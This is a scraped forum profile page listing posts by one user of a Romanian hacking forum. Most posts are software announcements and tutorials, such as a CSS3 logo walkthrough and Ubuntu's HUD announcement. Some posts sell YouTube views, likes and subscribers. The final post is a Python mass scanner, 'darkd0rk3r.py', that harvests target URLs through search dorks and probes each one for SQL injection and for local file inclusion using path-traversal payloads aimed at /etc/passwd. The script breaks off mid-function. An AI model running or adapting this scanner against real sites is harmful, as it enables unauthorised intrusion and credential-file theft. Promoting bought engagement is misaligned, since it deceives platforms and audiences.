-
Posts
3206 -
Joined
-
Days Won
87
Everything posted by Fi8sVrs
-
update: 1k vizualizari 15$ discount 10% la pentru primii 3
-
1000 views 25$ 300 subscribers 10$ 1000 like-uri 15$ preturi usor negociabile
-
sau cripteaza-le sa nu se indexeze
-
eu vreau, e cu mail?
-
VeriFinger Linux SDK is intended for most biometric system developers. It allows rapid development of the biometric application using functions from library, which ensure high reliability of the fingerprint identification, 1:1 and 1:N matching modes, comparison speed up to 30000 fingerprints per second,. VeriFinger can be easily integrated into the customer's security system. This SDK contains interfaces for some of the major fingerprint scanners, which allow the developer to obtain data from the scanners without any additional software. Supports BiometriKa FX 2000 scanner, AuthenTec AES4000 EntrePad and AF-S2 FingerLoc sensors. VeriFinger Linux SDK distribution package contains: * VeriFinger shared lib (one license); * Interfaces for image input from file, FX 2000 scanner; Entre'Pad and FingerLoc sensors; * Source codes of lib usage sample application. Source codes in C/C++ are included; * Documentation. VeriFinger Linux SDK is designed for: Linux VeriFinger Linux SDK has the following requirements : PC with Pentium 500MHz processor or better, Linux (glibc 2.2.5 or compatible) Download: linux windows 2000/XP/Server/Vista Source
-
din 50 verificate random nu am primit acces pe nici unul
-
Boxes & Text is a super-fast design playground for the web. Boxes and Text is a super fast web design playground still in Alpha. Everything is built in pure CSS, HTML, and Javascript so that initial wireframes and sketches can be used directly in subsequent app development. Element and class styles can be easily modified in structured, graphical views, or directly via raw CSS code. There are no limitations from predefined templates or layouts -- build whatever you want using just boxes and text! Boxes&Text
-
- 1
-
-
This is a wallpaper especially designed for Linux beginners. It shows the main Linux commands and their descriptions. Download 1280x1024
-
blip.me is a fun, useful, and free way to turn your mobile phone into a push-to-talk walkie-talkie. Source
-
The MyFolders Windows Explorer Shell Extension saves you time by placing any folder at your fingertips. Copy/Move files or Open any folder with just a few clicks! MyFolders enhances Explorer's right-click menu with several convenient utilities to access folders: Using MyFolders to Access Folders from Windows Explorer Copy to :: Copy selected files to one of your favorite folders Highlight the files, right-click, select "MyFolders > Copy to", choose the folder and MyFolders immediately copies your files to the folder. Move to :: Easily move files to any folder ]Highlight the files, right-click, select "MyFolders > Move to", choose the folder and MyFolders immediately moves your files to the folder. Go To :: Quickly open a folder in Explorer Right-click, select "MyFolders > Go to", choose the folder and MyFolders immediately takes you to that directory. Open command window :: Launch the Windows command prompt in a selected folder Right-click, select "MyFolders > Open command window in", choose the folder and MyFolders will summon a CMD window in that folder. Always copying files to/from a USB Flash Drive? MyFolders will cut your work in half as you won't need to browse to the destination folder. Simply right-click on the files, select "MyFolders > Copy to", and choose the folder. A true time saver! Saves time, every day! We use MyFolders every day on our office and home computers. It saves us so much time messing around with Windows Explorer that it is one of the first things we install on a new PC. How much time will MyFolders save you? Download
-
Ulteo Open Virtual Desktop is an installable Open Source virtual desktop and application delivery solution for corporations. It allows IT departments to deliver desktops and applications easily and at a lower cost than other solutions. It works in both a Windows and Linux environment. Read more about the current and upcoming features >>> KEY BENEFITS FOR IT Ease of use, ease of deployment and management: Clients can be either a Java enabled web browser or a dedicated software client. Interoperability: Full integration with existing infrastructures including Microsoft environments (Windows authentication, Windows applications, Active Directory, File server). Customizable: Ulteo is using Open Source software. Ulteo source code is covered by GPL v2 software licensing terms. Lower cost than any comparable product Secure, reliable, scalable KEY BENEFITS FOR END-USERS Easy to use: Applications are delivered as a complete desktop or displayed seamlessly and integrated to the user's desktop. Access is possible from a simple web browser, a web portal or accessed from a dedicated client software. Ulteo OVD provides its own web portal as a demo portal, but corporations are free to integrate Ulteo services into their own web portals. Extensive application portfolio: Access any Linux and/or Windows applications User friendly: Both Linux and Windows applications from a browser in Windows, Linux or MacOS platforms! START NOW! The Ulteo Open Virtual Desktop is very easy and fast to install: follow the documentation steps and get your first running installation in a few minutes only. Download Read the Installation Guide and follow instructions! PREREQUISITES: Read the system recommendation at the feature page. via: Twitter
-
video: http://youtu.be/flNomXIIWr4 Home - Scalado scr Scalado Remove App For iOS And Android Can Remove Unwanted Objects From Images | Redmond Pie
-
https://rstcenter.com/forum/48801-free-vpn-pentru-3-luni.rst
-
[Vand] Publicitate pe un forum de gaming cu "activitate"
Fi8sVrs replied to 3x.'s topic in RST Market
pagerank/traffic -
e pe capitole, poti sa reiei oricand courses doar pe cele completate daca te inregistrezi cu mail & pass
-
Codecademy is the easiest way to learn how to code. It's interactive, fun, and you can do it with your friends. Program Websites and More Learning with Codecademy will put you on the path to building great websites, games, and apps. Get Started: Learn to code | Codecademy scr techcrunch
-
H?r?ile Google Earth sunt acum mai frumoase ca niciodat?, mul?umit? introducerii unei versiuni mai bine finisat? colec?iei de imagini ob?inute prin satelit - partea vizual? a h?r?ilor Google Earth. Func?ia de c?utare a primit îmbun?t??iri ?i o noua interfa??, prin care putem c?uta mai u?or imagini, sau filtra rezultatele ob?inute la c?utare. Google Earth 6.2 ne permite s? particip?m la c?l?torii virtuale prin care s? explor?m diverse regiuni ale lumii, pentru a povesti apoi despre aventurile noastre prietenilor de pe Google+, invitând-ui s? viziteze tot felul de destina?ii virtuale. Pentru a ar?ta prietenilor poze cu loca?iile preferate vizitate cu Google Earth, este necesar s? ne autentific?m în contul Google+ folosind op?iunea pentru conectare, dup? care apel?m func?ia Share screenshot on Google+. Modul de reprezentare a globului p?mântesc a fost îmbun?t??it în Google Earth 6.2, astfel c? în locul aspectului peticit dat de utilizarea unor h?r?i cu nuan?e ?i rezolu?ii diferite, acum suntem întâmpina?i de o hart? omogen?, cu aspect mult mai pl?cut privirii. Îmbun?t??irile se v?d cel mai bine atunci când privim h?r?ile de la altitudini mari, dar în general se men?in ?i dup? activarea func?iei zoom. Modulul de c?utare din Google Earth 6.2 a devenit mai u?or de utilizat ?i include o nou? func?ie de autocompletare a rezultatelor. Pentru mai mult? relevan?? a rezultatelor afi?ate, c?ut?rile pot fi filtrate pe categorii, în func?ie de tipul de informa?ie dorit. Atunci când dorim s? g?sim cea mai bun? rut? pentru a ajunge la o loca?ie din ora?, putem folosi Google Earth pentru ob?inerea unui ghid pas cu pas, stabilind direc?iile de urmat pe str?zile ora?ului. Traseele furnizate pot fi optimizate pentru mersul pe jos, tranzit cu autoturismul personal sau bicicleta. Pentru utilizare în condi?ii optime, aplica?ia Google Earth 6.2 necesit? o conexiune activ? la internet, preferabil broadband. Download Source
-
Back then we used graphic design softwares like photoshop to design logos and icons. But now we can design almost anything using the power of CSS3. Designing logos and icons using Cascading Style Sheets will make your site load faster than using images. Today i am going discuss how to design CSS3 logo using basic properties. Designing CSS3 logo is very easy and needs perfect planning in laying out html elements. In this tutorial i am taking an example of below logo. Also please not that CSS3 properties are not supported by all browsers. Currently all major browsers like Chrome, Safari and Firefox are supporting. For the best result please check the demo in Chrome or Safari (latest versions) Basic CSS3 Properties To design this logo i used two main CSS3 properties. 1. border-radius: If you observe i have rounded corners for head, wings and some other places. For rounding corners i used css3 border-radius property. This property will take two values. First value will be horizontal radius and second value will be vertical radius. 2. Transform: CSS3 transform property will accept lot of values like skew, rotate, translate, matrix etc., But i am using rotate property as it required to design this logo. If you observe, the lower left and lower right wings are rotated. For that i used transform: rotate(x degrees) property. Designing the Logo To design this logo i used all div container and applied some css properties. I divided complete logo into separate parts like head, body, wings and tail. I will explain one by one with HTML and CSS. Below i gave a simple picture which will give an idea about the structure of logo. A. Designing the Head: To design head i used all div containers. Below is html and css for head section. I used css3 border-radius property to make head with curved shape. <div class="head"> <div class="ant ant_left"></div> <div class="ant ant_right"></div> <div class="lefteye"></div> <div class="righteye"></div> </div> CSS #logo .head{ position: relative; height: 40px; background: #bdd73c; border-radius:60px 60px 0 0 / 50px 50px 0 0; border: 2px solid #6fb74d; } .head .ant{ width: 2px; height: 25px; background: #bdd73c; border: 2px solid #6fb74d; position: absolute; border-radius: 3px 3px 0 0; border-bottom: 2px solid #bdd73c; } .head .ant_left{ top: -22px; left: 15px; -webkit-transform:rotate(-30deg); -moz-transform:rotate(-30deg); transform:rotate(-30deg); } .head .ant_right{ top: -22px; left: 73px; -webkit-transform:rotate(30deg); -moz-transform:rotate(30deg); transform:rotate(30deg); } .lefteye, .righteye{ position: absolute; background: #fff; border: 2px solid #6fb74d; width: 10px; height: 10px; -webkit-border-radius:10px; -moz-border-radius:10px; border-radius:10px; top: 15px; } .lefteye{ left: 20px; } .righteye{ left: 65px; } and below is output of head B. Designing the Body: For designing the body i used following html and css. <div class="body"> <div class="strip brown"></div> <div class="strip"></div> <div class="strip brown"></div> <div class="strip"></div> <div class="strip brown"></div> <div class="strip last"></div> </div> CSS #logo .body{ overflow: hidden; border: 2px solid #6fb74d; margin-top: 4px; border-radius: 0 0 60px 60px; } #logo .body .strip{ height: 18px; background: #bdd73c; } #logo .body .brown{ height: 22px; background: #5a4a42; } and the output of body look like below C. Designing the Wings: For designing wings i used transform: rotate() property. <div class="left_wings"> <div class="wing1"></div> <div class="wing2"></div> </div> <div class="right_wings"> <div class="wing1"></div> <div class="wing2"></div> </div> CSS .left_wings .wing1, .left_wings .wing2{ width: 100px; background: #e2e2e3; border: 2px solid #d1d0d1; border-radius:16px 0 0 16px; position: absolute; } .left_wings .wing1{ height: 35px; top: 48px; left: 0; z-index: -1; opacity: .8; } .left_wings .wing2{ top: 80px; left: 20px; z-index: -1; opacity: .6; height: 25px; -o-transform:rotate(45deg); -moz-transform:rotate(45deg); -ms-transform:rotate(45deg); -webkit-transform:rotate(-45deg); transform:rotate(45deg); } .right_wings .wing1, .right_wings .wing2{ width: 100px; background: #e2e2e3; border: 2px solid #d1d0d1; border-radius:0 16px 16px 0; position: absolute; } .right_wings .wing1{ height: 35px; top: 48px; left: 200px; z-index: -1; opacity: .8; } .right_wings .wing2{ top: 80px; left: 175px; z-index: -1; opacity: .6; height: 25px; -o-transform:rotate(45deg); -moz-transform:rotate(45deg); -ms-transform:rotate(45deg); -webkit-transform:rotate(45deg); transform:rotate(45deg); } and the output of wings is D. Designing the Tail: Below is html and css for tail section <div class="tail"> <div class="tail_left"></div> <div class="tail_right"></div> </div> CSS .tail{ width: 16px; height: 40px; left: 143px; margin-top: -1px; position: absolute; background: #6fb74d; } .tail_left{ width: 8px; height: 40px; background: #fff; float: left; border-top-right-radius:16px 40px; } .tail_right{ width: 8px; height: 40px; background: #fff; float: left; border-top-left-radius:16px 40px; } finally tail output is The final HTML and CSS <body> <div id="logo_container"> <div id="logo"> <div class="head"> <div class="ant ant_left"></div> <div class="ant ant_right"></div> <div class="lefteye"></div> <div class="righteye"></div> </div> <div class="body"> <div class="strip brown"></div> <div class="strip"></div> <div class="strip brown"></div> <div class="strip"></div> <div class="strip brown"></div> <div class="strip last"></div> </div> <div class="left_wings"> <div class="wing1"></div> <div class="wing2"></div> </div> <div class="right_wings"> <div class="wing1"></div> <div class="wing2"></div> </div> <div class="tail"> <div class="tail_left"></div> <div class="tail_right"></div> </div> </div> </div> </body> CSS body{ width: 100%; margin: 0; padding: 0; } #logo_container{ width: 300px; height: 200px; margin: 0 auto; position: relative; margin-top: 100px; } #logo{ width: 100px; margin-left: 100px; } #logo .head{ position: relative; height: 40px; background: #bdd73c; border-radius:60px 60px 0 0 / 50px 50px 0 0; border: 2px solid #6fb74d; } .head .ant{ width: 2px; height: 25px; background: #bdd73c; border: 2px solid #6fb74d; position: absolute; border-radius: 3px 3px 0 0; border-bottom: 2px solid #bdd73c; } .head .ant_left{ top: -22px; left: 15px; -webkit-transform:rotate(-30deg); -moz-transform:rotate(-30deg); transform:rotate(-30deg); } .head .ant_right{ top: -22px; left: 73px; -webkit-transform:rotate(30deg); -moz-transform:rotate(30deg); transform:rotate(30deg); } .lefteye, .righteye{ position: absolute; background: #fff; border: 2px solid #6fb74d; width: 10px; height: 10px; -webkit-border-radius:10px; -moz-border-radius:10px; border-radius:10px; top: 15px; } .lefteye{ left: 20px; } .righteye{ left: 65px; } #logo .body{ overflow: hidden; border: 2px solid #6fb74d; margin-top: 4px; border-radius: 0 0 60px 60px; } #logo .body .strip{ height: 18px; background: #bdd73c; } #logo .body .brown{ height: 22px; background: #5a4a42; } .left_wings .wing1, .left_wings .wing2{ width: 100px; background: #e2e2e3; border: 2px solid #d1d0d1; border-radius:16px 0 0 16px; position: absolute; } .left_wings .wing1{ height: 35px; top: 48px; left: 0; z-index: -1; opacity: .8; } .left_wings .wing2{ top: 80px; left: 20px; z-index: -1; opacity: .6; height: 25px; -o-transform:rotate(45deg); -moz-transform:rotate(45deg); -ms-transform:rotate(45deg); -webkit-transform:rotate(-45deg); transform:rotate(45deg); } .right_wings .wing1, .right_wings .wing2{ width: 100px; background: #e2e2e3; border: 2px solid #d1d0d1; border-radius:0 16px 16px 0; position: absolute; } .right_wings .wing1{ height: 35px; top: 48px; left: 200px; z-index: -1; opacity: .8; } .right_wings .wing2{ top: 80px; left: 175px; z-index: -1; opacity: .6; height: 25px; -o-transform:rotate(45deg); -moz-transform:rotate(45deg); -ms-transform:rotate(45deg); -webkit-transform:rotate(45deg); transform:rotate(45deg); } .tail{ width: 16px; height: 40px; left: 143px; margin-top: -1px; position: absolute; background: #6fb74d; } .tail_left{ width: 8px; height: 40px; background: #fff; float: left; border-top-right-radius:16px 40px; } .tail_right{ width: 8px; height: 40px; background: #fff; float: left; border-top-left-radius:16px 40px; } src CSS3 Logo Design
-
HTML KickStart is an ultra–lean set of HTML5, CSS, and jQuery (javascript) files, layouts, and elements designed to give you a headstart and save you 10's of hours on your next web project. HTML KickStart includes everything you need to rapidly create website layouts – things like slideshows, menus, flexible grids, image placeholders, buttons, and more – saving you a ton of time so you can produce faster and make more money. HTML KickStart HTML Elements & Documentation - 99Lime.com Download Source: wp-cron.com
-
Say hello to the Head-Up Display, or HUD, which will ultimately replace menus in Unity applications. Here’s what we hope you’ll see in 12.04 when you invoke the HUD from any standard Ubuntu app that supports the global menu: Snapshot of the HUD in Ubuntu 12.04 The intenterface – it maps your intent to the interface This is the HUD. It’s a way for you to express your intent and have the application respond appropriately. We think of it as “beyond interface”, it’s the “intenterface”. This concept of “intent-driven interface” has been a primary theme of our work in the Unity shell, with dash search as a first class experience pioneered in Unity. Now we are bringing the same vision to the application, in a way which is completely compatible with existing applications and menus. The HUD concept has been the driver for all the work we’ve done in unifying menu systems across Gtk, Qt and other toolkit apps in the past two years. So far, that’s shown up as the global menu. In 12.04, it also gives us the first cut of the HUD. Menus serve two purposes. They act as a standard way to invoke commands which are too infrequently used to warrant a dedicated piece of UI real-estate, like a toolbar button, and they serve as a map of the app’s functionality, almost like a table of contents that one can scan to get a feel for ‘what the app does’. It’s command invocation that we think can be improved upon, and that’s where we are focusing our design exploration. As a means of invoking commands, menus have some advantages. They are always in the same place (top of the window or screen). They are organised in a way that’s quite easy to describe over the phone, or in a text book (“click the Edit->Preferences menu”), they are pretty fast to read since they are generally arranged in tight vertical columns. They also have some disadvantages: when they get nested, navigating the tree can become fragile. They require you to read a lot when you probably already know what you want. They are more difficult to use from the keyboard than they should be, since they generally require you to remember something special (hotkeys) or use a very limited subset of the keyboard (arrow navigation). They force developers to make often arbitrary choices about the menu tree (“should Preferences be in Edit or in Tools or in Options?”), and then they force users to make equally arbitrary effort to memorise and navigate that tree. The HUD solves many of these issues, by connecting users directly to what they want. Check out the video, based on a current prototype. It’s a “vocabulary UI”, or VUI, and closer to the way users think. “I told the application to…” is common user paraphrasing for “I clicked the menu to…”. The tree is no longer important, what’s important is the efficiency of the match between what the user says, and the commands we offer up for invocation. In 12.04 LTS, the HUD is a smart look-ahead search through the app and system (indicator) menus. The image is showing Inkscape, but of course it works everywhere the global menu works. No app modifications are needed to get this level of experience. And you don’t have to adopt the HUD immediately, it’s there if you want it, supplementing the existing menu mechanism. It’s smart, because it can do things like fuzzy matching, and it can learn what you usually do so it can prioritise the things you use often. It covers the focused app (because that’s where you probably want to act) as well as system functionality; you can change IM state, or go offline in Skype, all through the HUD, without changing focus, because those apps all talk to the indicator system. When you’ve been using it for a little while it seems like it’s reading your mind, in a good way. We’ll resurrect the (boring) old ways of displaying the menu in 12.04, in the app and in the panel. In the past few releases of Ubuntu, we’ve actively diminished the visual presence of menus in anticipation of this landing. That proved controversial. In our defence, in user testing, every user finds the menu in the panel, every time, and it’s obviously a cleaner presentation of the interface. But hiding the menu before we had the replacement was overly aggressive. If the HUD lands in 12.04 LTS, we hope you’ll find yourself using the menu less and less, and be glad to have it hidden when you are not using it. You’ll definitely have that option, alongside more traditional menu styles. Voice is the natural next step Searching is fast and familiar, especially once we integrate voice recognition, gesture and touch. We want to make it easy to talk to any application, and for any application to respond to your voice. The full integration of voice into applications will take some time. We can start by mapping voice onto the existing menu structures of your apps. And it will only get better from there. But even without voice input, the HUD is faster than mousing through a menu, and easier to use than hotkeys since you just have to know what you want, not remember a specific key combination. We can search through everything we know about the menu, including descriptive help text, so pretty soon you will be able to find a menu entry using only vaguely related text (imagine finding an entry called Preferences when you search for “settings”). There is lots to discover, refine and implement. I have a feeling this will be a lot of fun in the next two years Even better for the power user The results so far are rather interesting: power users say things like “every GUI app now feels as powerful as VIM”. EMACS users just grunt and… nevermind . Another comment was “it works so well that the rare occasions when it can’t read my mind are annoying!”. We’re doing a lot of user testing on heavy multitaskers, developers and all-day-at-the-workstation personas for Unity in 12.04, polishing off loose ends in the experience that frustrated some in this audience in 11.04-10. If that describes you, the results should be delightful. And the HUD should be particularly empowering. Even casual users find typing faster than mousing. So while there are modes of interaction where it’s nice to sit back and drive around with the mouse, we observe people staying more engaged and more focused on their task when they can keep their hands on the keyboard all the time. Hotkeys are a sort of mental gymnastics, the HUD is a continuation of mental flow. Ahead of the competition There are other teams interested in a similar problem space. Perhaps the best-known new alternative to the traditional menu is Microsoft’s Ribbon. Introduced first as part of a series of changes called Fluent UX in Office, the ribbon is now making its way to a wider set of Windows components and applications. It looks like this: You can read about the ribbon from a supporter (like any UX change, it has its supporters and detractors ) and if you’ve used it yourself, you will have your own opinion about it. The ribbon is highly visual, making options and commands very visible. It is however also a hog of space (I’m told it can be minimised). Our goal in much of the Unity design has been to return screen real estate to the content with which the user is working; the HUD meets that goal by appearing only when invoked. Instead of cluttering up the interface ALL the time, let’s clear out the chrome, and show users just what they want, when they want it. Time will tell whether users prefer the ribbon, or the HUD, but we think it’s exciting enough to pursue and invest in, both in R&D and in supporting developers who want to take advantage of it. Other relevant efforts include Enso and Ubiquity from the original Humanized team (hi Aza &co), then at Mozilla. Our thinking is inspired by many works of science, art and entertainment; from Minority Report to Modern Warfare and Jef Raskin’s Humane Interface. We hope others will join us and accelerate the shift from pointy-clicky interfaces to natural and efficient ones. Roadmap for the HUD There’s still a lot of design and code still to do. For a start, we haven’t addressed the secondary aspect of the menu, as a visible map of the functionality in an app. That discoverability is of course entirely absent from the HUD; the old menu is still there for now, but we’d like to replace it altogether not just supplement it. And all the other patterns of interaction we expect in the HUD remain to be explored. Regardless, there is a great team working on this, including folk who understand Gtk and Qt such as Ted Gould, Ryan Lortie, Gord Allott and Aurelien Gateau, as well as designers Xi Zhu, Otto Greenslade, Oren Horev and John Lea. Thanks to all of them for getting this initial work to the point where we are confident it’s worthwhile for others to invest time in. We’ll make sure it’s easy for developers working in any toolkit to take advantage of this and give their users a better experience. And we’ll promote the apps which do it best – it makes apps easier to use, it saves time and screen real-estate for users, and it creates a better impression of the free software platform when it’s done well. From a code quality and testing perspective, even though we consider this first cut a prototype-grown-up, folk will be glad to see this: Overall coverage rate: lines......: 87.1% (948 of 1089 lines) functions..: 97.7% (84 of 86 functions) branches...: 63.0% (407 of 646 branches) Landing in 12.04 LTS is gated on more widespread testing. You can of course try this out from a PPA or branch the code in Launchpad (you will need these two branches). Or dig deeper with blogs on the topic from Ted Gould, Olli Ries and Gord Allott. Welcome to 2012 everybody! Mark Shuttleworth ? Blog Archive ? Introducing the HUD. Say hello to the future of the menu.
-
Bootstrap, from Twitter Bootstrap is a toolkit from Twitter designed to kickstart development of webapps and sites. It includes base CSS and HTML for typography, forms, buttons, tables, grids, navigation, and more. What's included Bootstrap comes complete with compiled CSS, uncompiled, and example templates. Javascript plugins All original .less files Fully compiled and minified CSS Complete styleguide documentation Three example pages with different layouts Bootstrap on GitHub » Bootstrap, from Twitter
-
#!/usr/bin/python # This was written for educational purpose and pentest only. Use it at your own risk. # Author will be not responsible for any damage! # !!! Special greetz for my friend sinner_01 !!! # Toolname : darkd0rk3r.py # Coder : baltazar a.k.a b4ltazar < b4ltazar@gmail.com> # Version : 0.3 # Greetz for rsauron and low1z, great python coders # greetz for d3hydr8, r45c4l, qk, fx0, Soul, MikiSoft and all members of ex darkc0de.com, ljuska.org # import string, sys, time, urllib2, cookielib, re, random, threading, socket, os, subprocess from random import choice # Colours W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; # Banner def logo(): print R+"\n|---------------------------------------------------------------|" print "| b4ltazar[@]gmail[dot]com |" print "| 01/2012 darkd0rk3r.py v.0.3 |" print "| |" print "|---------------------------------------------------------------|\n" print W if sys.platform == 'linux' or sys.platform == 'linux2': subprocess.call("clear", shell=True) logo() else: subprocess.call("cls", shell=True) logo() log = "darkd0rk3r.txt" logfile = open(log, "a") threads = [] numthreads = 10 timeout = 10 socket.setdefaulttimeout(timeout) maxc = 30 lfis = ["/etc/passwd%00","../etc/passwd%00","../../etc/passwd%00","../../../etc/passwd%00","../../../../etc/passwd%00","../../../../../etc/passwd%00","../../../../../../etc/passwd%00","../../../../../../../etc/passwd%00","../../../../../../../../etc/passwd%00","../../../../../../../../../etc/passwd%00","../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../etc/passwd%00","../../../../../../../../../../../../../etc/passwd%00","/etc/passwd","../etc/passwd","../../etc/passwd","../../../etc/passwd","../../../../etc/passwd","../../../../../etc/passwd","../../../../../../etc/passwd","../../../../../../../etc/passwd","../../../../../../../../etc/passwd","../../../../../../../../../etc/passwd","../../../../../../../../../../etc/passwd","../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../etc/passwd","../../../../../../../../../../../../../etc/passwd"] sqlerrors = {'MySQL': 'error in your SQL syntax', 'MiscError': 'mysql_fetch', 'MiscError2': 'num_rows', 'Oracle': 'ORA-01756', 'JDBC_CFM': 'Error Executing Database Query', 'JDBC_CFM2': 'SQLServer JDBC Driver', 'MSSQL_OLEdb': 'Microsoft OLE DB Provider for SQL Server', 'MSSQL_Uqm': 'Unclosed quotation mark', 'MS-Access_ODBC': 'ODBC Microsoft Access Driver', 'MS-Access_JETdb': 'Microsoft JET Database', 'Error' : 'Error Occurred While Processing Request', 'Error' : 'Server Error', 'Error' : 'Microsoft OLE DB Provider for ODBC Drivers error', 'Error' : 'Invalid Querystring', 'Error' : 'OLE DB Provider for ODBC', 'Error' : 'VBScript Runtime', 'Error' : 'ADODB.Field', 'Error' : 'BOF or EOF', 'Error' : 'ADODB.Command', 'Error' : 'JET Database', 'Error' : 'mysql_fetch_array()', 'Error' : 'Syntax error', 'Error' : 'include()', 'Error' : 'mysql_numrows()', 'Error' : 'GetArray()', 'Error' : 'FetchRow()', 'Error' : 'Input string was not in a correct format', 'Error' : 'Not found'} header = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)', 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)', 'Microsoft Internet Explorer/4.0b1 (Windows 95)', 'Opera/8.00 (Windows NT 5.1; U; en)', 'amaya/9.51 libwww/5.4.0', 'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)', 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)', 'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]'] domains = {'All domains':['ac', 'ad', 'ae', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao', 'aq', 'ar', 'as', 'at', 'au', 'aw', 'ax', 'az', 'ba', 'bb', 'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'bj', 'bm', 'bn', 'bo', 'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cc', 'cd', 'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'cr', 'cu', 'cv', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'do', 'dz', 'ec', 'ee', 'eg', 'eh', 'er', 'es', 'et', 'eu', 'fi', 'fj', 'fk', 'fm', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi', 'gl', 'gm', 'gn', 'gp', 'gq', 'gr', 'gs', 'gt', 'gu', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie', 'il', 'im', 'in', 'io', 'iq', 'ir', 'is', 'it', 'je', 'jm', 'jo', 'jp', 'ke', 'kg', 'kh', 'ki', 'km', 'kn', 'kp', 'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls', 'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'me', 'mg', 'mh', 'mk', 'ml', 'mm', 'mn', 'mo', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'mv', 'mw', 'mx', 'my', 'mz', 'na', 'nc', 'ne', 'nf', 'ng', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om', 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'ro', 'rs', 'ru', 'rw', 'sa', 'sb', 'sc', 'sd', 'se', 'sg', 'sh', 'si', 'sj', 'sk', 'sl', 'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td', 'tf', 'tg', 'th', 'tj', 'tk', 'tl', 'tm', 'tn', 'to', 'tp', 'tr', 'tt', 'tv', 'tw', 'tz', 'ua', 'ug', 'uk', 'um', 'us', 'uy', 'uz', 'va', 'vc', 've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'ye', 'yt', 'za', 'zm', 'zw', 'com', 'net', 'org','biz', 'gov', 'mil', 'edu', 'info', 'int', 'tel', 'name', 'aero', 'asia', 'cat', 'coop', 'jobs', 'mobi', 'museum', 'pro', 'travel']} stecnt = 0 for k,v in domains.items(): stecnt += 1 print "\n"+str(stecnt)+" - "+k sitekey = raw_input("\nEnter 1 for all domains: ") sitearray = domains[domains.keys()[int(sitekey)-1]] inurl = raw_input('\nEnter your dork: ') print "\nNumber of SQL errors : ",len(sqlerrors) print "Number of LFI paths : ",len(lfis) print "Number of headers : ",len(header) print "Number of domains : ",len(v) print "\n" def search(inurl, maxc): urls = [] for site in sitearray: page = 0 try: print "Site: ",site while page < int(maxc): jar = cookielib.FileCookieJar("cookies") query = inurl+"+site:"+site results_web = 'http://www.search-results.com/web?q='+query+'&hl=en&page='+repr(page)+'&src=hmp' request_web =urllib2.Request(results_web) agent = random.choice(header) request_web.add_header('User-Agent', agent) opener_web = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar)) text = opener_web.open(request_web).read() stringreg = re.compile('(?<=href=")(.*?)(?=")') names = stringreg.findall(text) page += 1 for name in names: if name not in urls: if re.search(r'\(',name) or re.search("<", name) or re.search("\A/", name) or re.search("\A(http://)\d", name): pass elif re.search("google",name) or re.search("youtube", name) or re.search("phpbuddy", name) or re.search("iranhack",name) or re.search("phpbuilder",name) or re.search("codingforums", name) or re.search("phpfreaks", name) or re.search("%", name): pass else: urls.append(name) except(KeyboardInterrupt): pass tmplist = [] finallist = [] print "\n[+] URLS (unsorted): ",len(urls) for url in urls: try: host = url.split("/",3) domain = host[2] if domain not in tmplist and "=" in url: finallist.append(url) tmplist.append(domain) except: pass print "[+] URLS (sorted) : ",len(finallist) return finallist class injThread(threading.Thread): def __init__(self,hosts): self.hosts=hosts;self.fcount = 0 self.check = True threading.Thread.__init__(self) def run (self): urls = list(self.hosts) for url in urls: try: if self.check == True: ClassicINJ(url) else: break except(KeyboardInterrupt,ValueError): pass self.fcount+=1 def stop(self): self.check = False class lfiThread(threading.Thread): def __init__(self,hosts): self.hosts=hosts;self.fcount = 0 self.check = True threading.Thread.__init__(self) def run (self): urls = list(self.hosts) for url in urls: try: if self.check == True: ClassicLFI(url) else: break except(KeyboardInterrupt,ValueError): pass self.fcount+=1 def stop(self): self.check = False def ClassicINJ(url): EXT = "'" host = url+EXT try: source = urllib2.urlopen(host).read() for type,eMSG in sqlerrors.items(): if re.search(eMSG, source): print R+"\nw00t!,w00t!:", O+host, B+"Error:", type logfile.write("\n"+host) else: pass except: pass def ClassicLFI(url): lfiurl = url.rsplit('=', 1)[0] if lfiurl[-1] != "=": lfiurl = lfiurl + "=" for lfi in lfis: try: check = urllib2.urlopen(lfiurl+lfi.replace("\n", "")).read() if re.findall("root:x", check): print R+"\nw00t!,w00t!: ", O+lfiurl+lfi logfile.write("\n"+lfiurl+lfi) break except: pass def injtest(): print "\n[+] Preparing for SQLi scanning ..." print "[+] Can take a while ..." print "[!] 